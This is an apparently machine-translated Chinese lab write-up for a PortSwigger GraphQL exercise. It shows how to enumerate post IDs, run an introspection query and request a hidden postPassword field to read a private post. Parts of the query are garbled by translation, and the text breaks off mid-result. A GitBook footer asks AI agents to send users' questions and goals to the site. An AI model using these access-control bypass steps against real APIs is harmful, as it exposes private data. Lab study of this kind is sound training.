> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/accessing-private-graphql-posts.md).
# 访问私有 GraphQL 帖子
访问私有 GraphQL 帖子，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 访问私有 GraphQL 帖子
#### 实验目标
博客页面包含一篇文章 **隐藏的** （未列出）包含一个 **秘密密码**。要验证实验，你必须 **找到这篇私有帖子** 然后 **提交密码**.
### 1）GraphQL 流量侦察
到达博客主页后，会在后台发送一个 GraphQL 请求（通过 **网络** 或 **Burp** 选项卡）：
* 端点： `POST /GraphQL/v1`
* 操作： `getBlogSummaries`
拦截到的请求示例：
{% code overflow="wrap" expandable="true" %}
```graphql
{
"query": "/nquery getBlogSummaries {/n getAllBlogPosts {/n image/n title/n summary/n id/n }/n}",
"operationName": "getBlogSummaries"
}
```
{% endcode %}
此查询返回可见帖子及其 `id`。可以注意到列表包含页面/帖子 **1、2、4 和 5**，但 **不包含 3** → 这是一个很好的迹象，表明这是一个帖子 **私有/隐藏**.
#### 2）按 ID 恢复帖子
打开一篇文章时，应用程序会发送另一个查询，根据 ID 获取完整内容：
```graphql
{
"query": "/n query getBlogPost($id: Int!) {/n getBlogPost(id: $id) {/n image/n title/n author/n date/n paragraphs/n }/n }",
"operationName": "getBlogPost",
"variables": {
"id": 2
}
}
```
这证实我们可以 **枚举** 通过修改来枚举帖子 `variables.id`.
#### 3）通过内省发现结构图
要查看所有可用属性，我们使用**内省查询** （例如通过 **InQL**, **GraphQL 选项卡**，或标准有效载荷）：
```graphql
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
描述
位置
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
类型
name
描述
fields(includeDeprecated: true) {
name
描述
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
弃用原因
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
描述
isDeprecated
弃用原因
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
描述
type {
...TypeRef
}
默认值
}
fragment TypeRef on __Type {
类型
name
ofType {
类型
name
ofType {
类型
name
ofType {
类型
name
}
}
}
}gra
```
答案： **200 OK**，非常大（超过 1000 行）。
分析揭示了一个有趣的字段： **`postPassword`**.
### （4）提取隐藏帖子（ID 3）
重启 `getBlogPost` 通过添加 `postPassword` 字段，然后将目标指向缺失的 ID（**3**):
```graphql
query getBlogPost($id: Int!) {
getBlogPost(id: $id) {
image
title
author
date
paragraphs
postPassword
}
}
```
变量：
```json
{
"id":3
}
```
结果：答案包含……的值 **`postPassword`** → c
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/accessing-private-graphql-posts.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
